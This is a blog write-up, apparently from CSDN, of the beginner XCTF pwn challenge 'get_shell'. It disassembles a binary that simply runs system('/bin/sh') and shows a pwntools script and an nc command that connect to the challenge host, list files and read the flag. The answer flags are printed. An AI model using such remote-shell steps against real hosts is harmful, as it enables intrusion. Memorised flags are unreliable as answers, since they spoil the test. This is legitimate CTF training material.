

XCTF|PWN-get_shell-WP

原创

L_y 于 2021-07-30 10:43:48 发布 37 收藏

分类专栏: [CTF](#) 文章标签: [python](#) [linux](#) [shell](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/l2645470582_/article/details/119239285

版权



[CTF 专栏收录该内容](#)

36 篇文章 0 订阅

订阅专栏

方法一:

1、下载文件并开启靶机

The screenshot shows a CTF challenge interface for 'get_shell'. It features a difficulty coefficient of 6.0 (indicated by 6 stars), a '最佳Writeup' (Best Writeup) badge by 'w0odpeck3r', and a 'Mastery' badge. The challenge description is '运行就能拿到shell呢, 真的' (Running can get shell, really). The challenge scenario is '111.200.241.244:50525'. There is a '删除场景' (Delete Scenario) button, a timer at '03:59:47', and a '延时' (Delay) button. The challenge attachments section shows '附件1' (Attachment 1). The URL 'https://blog.csdn.net/l2645470582_' is visible in the bottom right corner.

2、在Linux中查看该文件信息

```
checksec 1
```

```

└─$ checksec 1
[*] '/home/liu/Desktop/pwn/XCTF/one/1'
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x400000)

```

https://blog.csdn.net/12645470582_

3、该文件是64位的文件，我们用64位IDA打开该文件

3.1、shift+f12查看该文件的关键字符串

Address	Length	Type	String
.rodata:00000...	00000022	C	OK,this time we will get a shell.
.rodata:00000...	00000008	C	/bin/sh
.eh_frame_hdr...	00000006	C	\x01\x1B\x03;0
.eh_frame_hdr...	00000006	C	萃
.eh_frame_hdr...	00000006	C	,
.eh_frame_hdr...	00000006	C	\"
.eh_frame_hdr...	00000006	C	L
.eh_frame_hdr...	00000007	C	
.eh_frame:000...	0000000E	C	\x01\x10\x01\x1B\f\a\b
.eh_frame:000...	00000006	C	供
.eh_frame:000...	0000000B	C	\x01\x10\x01\x1B\f\a\b
.eh_frame:000...	00000006	C	X
.eh_frame:000...	0000000C	C	\x0E\x10F\x0E\x18J\x0F\vw\b€
.eh_frame:000...	00000008	C	?\x1A;*3\\$\"
.eh_frame:000...	00000006	C	v
.eh_frame:000...	0000000D	C	A\x0E\x10
.eh_frame:000...	00000006	C	€
.eh_frame:000...	00000037	C	B\x0E\x10

https://blog.csdn.net/12645470582_

3.2、双击关键字符串，再按Ctrl+X，查看关键字符串"/bin/sh"的地址

```

.text:000000000400566 main
.text:000000000400566
.text:000000000400567
.text:00000000040056A
.text:00000000040056F
.text:000000000400574
.text:000000000400579
.text:00000000040057E
.text:000000000400583
.text:000000000400588
.text:000000000400589
.text:000000000400589 main
.text:000000000400589

```

```

proc near ; DATA XREF: _start+1DTo
push rbp
mov rbp, rsp
mov edi, offset s ; "OK,this time we will get a shell."
call _puts
mov edi, offset command ; "/bin/sh"
mov eax, 0
call _system
mov eax, 0
pop rbp
ret
endp

```

https://blog.csdn.net/12645470582_

"/bin/sh"地址: 0x400574

3.3、按F5进入反编译代码区，我们看到可以直接获取shell

```
1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3     puts("OK,this time we will get a shell.");
4     system("/bin/sh");
5     return 0;
6 }
```

4、编译代码

```
#encoding=utf-8
```

```
from pwn import *                                #导入pwntools中pwn的所有内容
p = remote("111.200.241.244", 50525)            #链接服务器远程交互
p.interactive()                                  #反弹shell进行交互
```

```
ls          #查看是否有flag文件
```

```
#查看到有flag文件后
```

```
cat flag    #读取flag文件获取flag
```

```
└─$ python3 exp.py
[+] Opening connection to 111.200.241.244 on port 50525: Done
[*] Switching to interactive mode
$ ls
bin
dev
flag
get_shell
lib
lib32
lib64
$ cat flag
cyberpeace{7c578602ac942d64f87139d568c4acba}
$
```



https://blog.csdn.net/12645470582_

5、flag为:

```
cyberpeace{7c578602ac942d64f87139d568c4acba}
```

方法二:

```
nc -vn 111.200.241.244 50648
```

1.链接端口成功

```
└─$ nc -nv 111.200.241.244 50648
Connection to 111.200.241.244 50648 port [tcp/*] succeeded!
```

2.用ls查看文件信息

```
ls
.bin
dev
flag
get_shell
lib
lib32
lib64
https://blog.csdn.net/l2645470582_
```

3.查看flag文件里面信息

```
cat flag
```

```
└─$ nc -nv 111.200.241.244 50648
Connection to 111.200.241.244 50648 port [tcp/*] succeeded!
ls
bin
dev
flag
get_shell
lib
lib32
lib64
cat flag
cyberpeace{9b54e8f1716eb52831fa11102357445f}
https://blog.csdn.net/l2645470582_
```

4.flag为:

```
cyberpeace{9b54e8f1716eb52831fa11102357445f}
```